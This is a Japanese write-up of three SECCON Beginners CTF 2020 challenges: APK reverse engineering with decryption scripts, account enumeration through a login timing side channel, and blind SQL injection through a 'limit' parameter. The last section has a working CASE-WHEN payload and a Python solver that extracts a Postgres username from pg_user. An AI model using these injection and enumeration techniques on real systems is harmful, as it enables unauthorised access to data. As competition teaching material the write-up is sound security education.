SECCON beginners CTF 2020 writeup
5月23日から5月24日にかけて開催された SECCON beginners CTF 2020 に参加し,チーム「KUDoS」は1009チーム中3位でした.
私が解いた問題のWriteupを書いていきます.
Rev
siblangs (37 solves)
apkファイルが配布されているので,ダウンロードしてzip展開します.中にあるclass.dex
をjadxでデコンパイルしてアプリのコードを見ていきます.
ValidateFlagModule
がいかにも怪しいので見ていきます.
package es.o0i.challengeapp.nativemodule; import com.facebook.react.bridge.Callback; import com.facebook.react.bridge.ReactApplicationContext; import com.facebook.react.bridge.ReactContextBaseJavaModule; import com.facebook.react.bridge.ReactMethod; import java.security.SecureRandom; import javax.crypto.Cipher; import javax.crypto.SecretKey; import javax.crypto.spec.GCMParameterSpec; import javax.crypto.spec.SecretKeySpec; public class ValidateFlagModule extends ReactContextBaseJavaModule { private static final int GCM_IV_LENGTH = 12; private final ReactApplicationContext reactContext; private final SecretKey secretKey = new SecretKeySpec("IncrediblySecure".getBytes(), 0, 16, "AES"); private final SecureRandom secureRandom = new SecureRandom(); public String getName() { return "ValidateFlagModule"; } public ValidateFlagModule(ReactApplicationContext reactApplicationContext) { super(reactApplicationContext); this.reactContext = reactApplicationContext; } @ReactMethod public void validate(String str, Callback callback) { byte[] bArr = {95, -59, -20, -93, -70, 0, -32, -93, -23, 63, -9, 60, 86, 123, -61, -8, 17, -113, -106, 28, 99, -72, -3, 1, -41, -123, 17, 93, -36, 45, 18, 71, 61, 70, -117, -55, 107, -75, -89, 3, 94, -71, 30}; try { Cipher instance = Cipher.getInstance("AES/GCM/NoPadding"); instance.init(2, this.secretKey, new GCMParameterSpec(128, bArr, 0, 12)); byte[] doFinal = instance.doFinal(bArr, 12, bArr.length - 12); byte[] bytes = str.getBytes(); for (int i = 0; i < doFinal.length; i++) { if (bytes[i + 22] != doFinal[i]) { callback.invoke(false); return; } } callback.invoke(true); } catch (Exception unused) { callback.invoke(false); } } }
validateメソッドにおいて,callback.invoke(true);
まで到達するようなstr
を調べれば良さそうです.単純にdoFinal
と比較してるだけなので,doFinal
を出力するように修正します.
import java.util.*; import javax.crypto.Cipher; import javax.crypto.SecretKey; import javax.crypto.spec.GCMParameterSpec; import javax.crypto.spec.SecretKeySpec; public class Main { public static void main(String[] args) throws Exception { final SecretKey secretKey = new SecretKeySpec("IncrediblySecure".getBytes(), 0, 16, "AES"); byte[] bArr = {95, -59, -20, -93, -70, 0, -32, -93, -23, 63, -9, 60, 86, 123, -61, -8, 17, -113, -106, 28, 99, -72, -3, 1, -41, -123, 17, 93, -36, 45, 18, 71, 61, 70, -117, -55, 107, -75, -89, 3, 94, -71, 30}; Cipher instance = Cipher.getInstance("AES/GCM/NoPadding"); instance.init(2, secretKey, new GCMParameterSpec(128, bArr, 0, 12)); byte[] doFinal = instance.doFinal(bArr, 12, bArr.length - 12); String Str = new String(doFinal, "US-ASCII"); System.out.println(Str); } }
これを実行すると,1pt_3verywhere}
が出力されました.
さて,フラグの残りはどこにあるのでしょうか.一旦,先程展開したフォルダ全体でctf4b
で検索をかけてみます.
index.android.bundle
が引っかかりました.このファイルはReactNativeをビルドしたときに生成されるアセットのようです.
引っかかった行の周辺を調べると,次のようなコードが見つかりました.
((t = y.call.apply(y, [this].concat(n))).state = { flagVal: "ctf4b{", xored: [34, 63, 3, 77, 36, 20, 24, 8, 25, 71, 110, 81, 64, 87, 30, 33, 81, 15, 39, 90, 17, 27], }), (t.handleFlagChange = function (o) { t.setState({ flagVal: o }); }), (t.onPressValidateFirstHalf = function () { if ("ios" === h.Platform.OS) { for ( var o = "AKeyFor" + h.Platform.OS + "10.3", l = t.state.flagVal, n = 0; n < t.state.xored.length; n++ ) if ( t.state.xored[n] !== parseInt(l.charCodeAt(n) ^ o.charCodeAt(n % o.length), 10) ) return void h.Alert.alert("Validation A Failed", "Try again..."); h.Alert.alert( "Validation A Succeeded", "Great! Have you checked the other one?" ); } else h.Alert.alert( "Sorry!", "Run this app on iOS to validate! Or you can try the other one :)" ); });
o
とxorを取った結果がxored
と同じになるような文字列を調べれば良さそうです.
o = "AKeyFor" + "ios" + "10.3" xored = [34, 63, 3, 77, 36, 20, 24, 8, 25, 71, 110, 81, 64, 87, 30, 33, 81, 15, 39, 90, 17, 27] for i in range(len(xored)): print(chr(xored[i] ^ ord(o[i % len(o)])), end="")
ctf4b{jav4_and_j4va5cr
が出力されました.
あとは,後半部分と合わせることでフラグが得られました.
flag: ctf4b{jav4_and_j4va5cr1pt_3verywhere}
Web
Spy (441 Solves)
与えられたURLにアクセスします.
ログイン画面です.ページの下部にはご丁寧に処理時間も表示されています.Challenge Pageに飛んでみましょう.
今の所よく分かりませんが,正解の組み合わせを選ぶページでしょう.
では配布されたソースコードを見ていきます.
import os import time from flask import Flask, render_template, request, session # Database and Authentication libraries (you can't see this :p). import db import auth # ==================== app = Flask(__name__) app.SALT = os.getenv("CTF4B_SALT") app.FLAG = os.getenv("CTF4B_FLAG") app.SECRET_KEY = os.getenv("CTF4B_SECRET_KEY") db.init() employees = db.get_all_employees() # ==================== @app.route("/", methods=["GET", "POST"]) def index(): t = time.perf_counter() if request.method == "GET": return render_template("index.html", message="Please login.", sec="{:.7f}".format(time.perf_counter()-t)) if request.method == "POST": name = request.form["name"] password = request.form["password"] exists, account = db.get_account(name) if not exists: return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t)) # auth.calc_password_hash(salt, password) adds salt and performs stretching so many times. # You know, it's really secure... isn't it? :-) hashed_password = auth.calc_password_hash(app.SALT, password) if hashed_password != account.password: return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t)) session["name"] = name return render_template("dashboard.html", sec="{:.7f}".format(time.perf_counter()-t)) # ==================== @app.route("/challenge", methods=["GET", "POST"]) def challenge(): t = time.perf_counter() if request.method == "GET": return render_template("challenge.html", employees=employees, sec="{:.7f}".format(time.perf_counter()-t)) if request.method == "POST": answer = request.form.getlist("answer") # If you can enumerate all accounts, I'll give you FLAG! if set(answer) == set(account.name for account in db.get_all_accounts()): message = app.FLAG else: message = "Wrong!!" return render_template("challenge.html", message=message, employees=employees, sec="{:.7f}".format(time.perf_counter()-t)) # ==================== if __name__ == '__main__': db.init() app.run(host=os.getenv("CTF4B_HOST"), port=os.getenv("CTF4B_PORT"))
/challenge
のコードから,dbに存在するアカウントの組み合わせを選ぶとフラグが得られることがわかります.
では,dbに存在するアカウントはどのようにして知ることが出来るでしょうか?
ログインページのコードを見てみると,dbに存在するアカウントのユーザーネームでログインしようとしたときのみ,パスワードのvalidateが行われます.このvalidateのときに,ハッシュ化を複数回行っています(ストレッチング).試しに,いくつかのユーザーでログインしてみましょう.
Elbertでログインするときのほうが処理時間が長くなっています.つまり,Elbertはdbに存在するため,ストレッチングの処理が行われ,処理時間が長くなっています. 逆に言えば,処理時間が長ければそのユーザーはdbに存在することがわかります.
あとは,26人の全ユーザーでログインして,処理時間が長いユーザーを調べていけばいいだけです.
flag:ctf4b{4cc0un7_3num3r4710n_by_51d3_ch4nn3l_4774ck}
Tweetstore(150 solves)
与えられたURLにアクセスします.
@ctf4bのツイートを検索できるサイトのようです.キーワードで絞ったり,表示数を限定することが出来ます.
配布されたソースコードを見ます.
package main import ( "context" "fmt" "log" "os" "strings" "time" "database/sql" "html/template" "net/http" "github.com/gorilla/handlers" "github.com/gorilla/mux" _"github.com/lib/pq" ) var tmplPath = "./templates/" var db *sql.DB type Tweets struct { Url string Text string Tweeted_at time.Time } func handler_index(w http.ResponseWriter, r *http.Request) { tmpl, err := template.ParseFiles(tmplPath + "index.html") if err != nil { log.Fatal(err) } var sql = "select url, text, tweeted_at from tweets" search, ok := r.URL.Query()["search"] if ok { sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'" } sql += " order by tweeted_at desc" limit, ok := r.URL.Query()["limit"] if ok && (limit[0] != "") { sql += " limit " + strings.Split(limit[0], ";")[0] } var data []Tweets ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second) defer cancel() rows, err := db.QueryContext(ctx, sql) if err != nil{ http.Error(w, http.StatusText(500), 500) return } for rows.Next() { var text string var url string var tweeted_at time.Time err := rows.Scan(&url, &text, &tweeted_at) if err != nil { http.Error(w, http.StatusText(500), 500) return } data = append(data, Tweets{url, text, tweeted_at}) } tmpl.Execute(w, data) } func initialize() { var err error dbname := "ctf" dbuser := os.Getenv("FLAG") dbpass := "password" connInfo := fmt.Sprintf("port=%d host=%s user=%s password=%s dbname=%s sslmode=disable", 5432, "db", dbuser, dbpass, dbname) db, err = sql.Open("postgres", connInfo) if err != nil { log.Fatal(err) } } func main() { initialize() r := mux.NewRouter() r.HandleFunc("/", handler_index).Methods("GET") http.Handle("/", r) http.ListenAndServe(":8080", handlers.LoggingHandler(os.Stdout, http.DefaultServeMux)) }
postgresが使われており,dbに接続するときのuser名がフラグになっています.postgresのユーザー情報はpg_user
に格納されているので,このテーブルからユーザー名であるusename
カラムの値を抜き取れば良さそうです.
SQL文をどのように組み立てているか,見ていきましょう.
var sql = "select url, text, tweeted_at from tweets" search, ok := r.URL.Query()["search"] if ok { sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'" } sql += " order by tweeted_at desc" limit, ok := r.URL.Query()["limit"] if ok && (limit[0] != "") { sql += " limit " + strings.Split(limit[0], ";")[0] }
searchクエリは"
が削除されるため,SQLインジェクション出来そうにありません.一方で,limitクエリでは,CASE文を使うことでBlindSQLインジェクションが出来そうです.
例えば,limit=(CASE WHEN (SELECT ascii(substr(usename, 0, 1)) FROM pg_user LIMIT 1) = 99 THEN 1 ELSE 0 END)
とすると,pg_user
から1レコード取り出して,そのレコードのusename
の1文字目がc
(アスキー値で99)ならばツイートが1つ表示されます.逆にc
でなければ何も表示されません.
この挙動を利用することで,usename
を1文字ずつ特定することが出来ます.以下のコードがsolverです.
import requests def judge(html): return "1 of 200 tweets are displayed. enjoy" in html url = "http://tweetstore.quals.beginners.seccon.jp" def leak_usename(): leak = "" for j in range(1, 1000): for i in range(126, 32, -1): buf = f"(CASE WHEN (SELECT ascii(substr(usename, {j}, 1)) FROM pg_user LIMIT 1 OFFSET 1) = {i} THEN 1 ELSE 0 END)" params = {"search": "a", "limit": buf} print(buf) res = requests.get(url, params=params) if judge(res.text): leak += chr(i) print(f"[+] now:{leak}") break if len(leak) != j: print(f"[*] {leak}") break leak_usename()
flag: ctf4b{is_postgres_your_friend?}